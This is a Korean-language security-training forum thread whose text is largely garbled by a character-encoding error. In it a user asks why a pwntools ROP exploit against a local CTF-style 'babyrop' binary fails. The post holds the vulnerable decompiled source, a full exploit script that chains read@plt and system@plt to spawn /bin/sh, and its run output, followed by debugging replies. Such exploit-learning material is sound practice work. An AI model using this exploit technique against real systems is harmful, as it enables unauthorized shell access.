½Ã½ºÅÛ ÇØÅ·

 1574, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   tkakr7458
   pwntools ¸¦ ÀÌ¿ëÇÑ Àͽº Áú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1859 [º¹»ç]


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

À§´Â ¼Ò½º ÄÚµåÀÔ´Ï´Ù.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)


binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

À§¿Í °°ÀÌ ÀÛ¼ºÇß½À´Ï´Ù.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

ÀÌ·¸°Ô ¼º°øÀ» ¸øÇߴµ¥ ¿Ö ÀÌ·¯³ª¿ä ¤Ð¤Ð °¡Á¬Àº ¶È¹Ù·Î ã¾Ò½À´Ï´Ù.!!

  Hit : 7256     Date : 2017/04/16 06:06



    
ÇØÄð·¯ buf°¡ ebp-0x8c¿¡ ÀÖÀ¸´Ï 0x8c+4 Çؼ­ 144¹ÙÀÌÆ®¸¸Å­ ¸ÇóÀ½¿¡ A¸¦ ³ÖÀ¸¼Å¾ß ÇÕ´Ï´Ù 140°³¹Û¿¡ ¾È³ÖÀ¸¼Å¼­ ¾ÈµÇ´Â°Ì´Ï´Ù 2017/04/16  
tkakr7458 144 ³Ö¾ú¾î¿ä.. 2017/04/16  
ÇØÄð·¯ ¾Æ Á¦°¡ À߸øºÃ±º¿ä ±×·¯¸é s.send(payload)¿Í s.send(binsh) »çÀÌ¿¡ time.sleep(0.5)¸¦ ³Ö¾îº¸¼¼¿ä
Àú·¸°Ô ªÀº ½Ã°£Â÷·Î ÁÖ¸é ¹öÆÛ´Â Å«µ¥ ÀÛÀº ¹®ÀÚ¿­ µÎ°³°¡ ¿À´Ï±î µÑ´Ù buf¿¡ µé¾î°¥ ¼ö ÀÖ½À´Ï´Ù
2017/04/16  
tkakr7458 Àß ¾ÈµÇ³×¿ä ¤Ð 2017/04/16  
ÇØÄð·¯ strace¸¦ ½áº¸¼¼¿ä ¾öû ÁÁ½À´Ï´Ù
remote() ¹Ù·Î ´ÙÀ½¿¡ pause() ÇÑÁÙ ³ÖÀ¸½Ã°í ÆÄÀ̽㠽ÇÇàÇÏ½Ã¸é ¸ØÃçÀִµ¥
±× ¶§ ¼­¹ö¿¡¼­ strace -if -p $(pgrep babyrop) ÇÏ½Ã¸é ¾îÅÂÄ¡ µÇ°í ÆÄÀ̽㿡¼­ ¿£ÅÍ Çѹø Ä¡¼Å¼­ º¸½Ã¸é µË´Ï´Ù
2017/04/16  
parktong80 Ȥ½Ã babyrop ¹ÙÀ̳ʸ® º¸³»ÁֽǼö ÀÖÀ¸½Å°¡¿ä?
parktong80@naver.com ÀÔ´Ï´Ù
2017/05/03  
1574   pwnable.kr echo1 Áú¹®2 (½ºÆ÷ ÁÖÀÇ)[2]     turttle2s
10/05 1206
1573   LOB GATE¹®Á¦ Ç®¸é¼­ ±Ã±ÝÇÑÁ¡[3]     hackxx123
08/24 861
1572   libc°ü·Ã - 2[5]     lMaxl04
08/24 853
1571   ASLRÀÌ °É·ÁÀÖÀ»¶§ ret¿¡ ROPÀ¸·Î jmp %espÀ» »ç¿ëÇÑ °æ¿ì.[3]     lMaxl04
06/29 1111
1570   ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ ½ºÅà ÁÖ¼Ò È®ÀÎ ¹æ¹ýÀÌ ±Ã±ÝÇÕ´Ï´Ù.[2]     lMaxl04
06/16 915
1569   ÇØÅ· ÇÁ¸®¼­¹ö ¾ø¾îÁ³³ª¿ä?[1]     terfkim
04/15 1694
1568   ½ºÅÿ¡ µ¥ÀÌÅÍ ³ÖÀ» ¶§ SIGSEGV[4]     turttle2s
02/04 1424
1567   pwnable.kr echo1 Áú¹®[2]     turttle2s
06/17 1703
1566   ROP strcpy °ü·Ã Áú¹®ÀÔ´Ï´Ù.[3]     heeyoung0511
06/16 1554
1565   Level2 -> Level3 ¿¡¼­ vi¿Í /usr/bin/EditorÀÇ Â÷ÀÌ[2]     hyemin1826
07/18 1783
1564   Trainer3 ftz.hackerschool.org È£½ºÆ® Á¢¼Ó ºÒ°¡[1]     hyemin1826
07/18 3192
1563   dllÀÎÁ§¼Ç ½ÇÇèÁß Áú¹® µå¸³´Ï´Ù.[1]     kkk477
05/31 1824
1562   ÆÐŶ º¹È£È­¸¦ ¸¶½ºÅÍ ÇÏ·Á¸é ¾î¶² °úÁ¤ÀÌ ÀÖ¾î¾ßÇϳª¿ä?     sa0814
04/01 1667
1561   »ç±â[2]     jas08
03/31 1960
1560   ½Ã½ºÅÛ ÄÝÀÌ °¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ª°ú ºÒ°¡´ÉÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÌ Á¸ÀçÇϳª¿ä?     ocal
03/30 1709
1559   pwntools »ç¿ë½Ã¿Í ±âº» socket ¸ðµâ ÀÌ¿ë½Ã Â÷ÀÌ?[4]     ocal
01/09 2249
1558   lob level19(nightmare) °ü·ÃÁú¹®[1]     dnjsdnwja
12/18 1720
1557   ftz level2 Áú¹®ÀÖ½À´Ï´Ù[1]     kihyun1998
12/13 1811
1556   ftz level2¹ø Ǫ´Âµ¥¿ä ±ÇÇÑÀÌ...     kihyun1998
12/06 1687
1555   ½Ã½ºÅÛÇØÅ·ÇÒ¶§ [3]     thsrhkdwns
12/05 2162
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org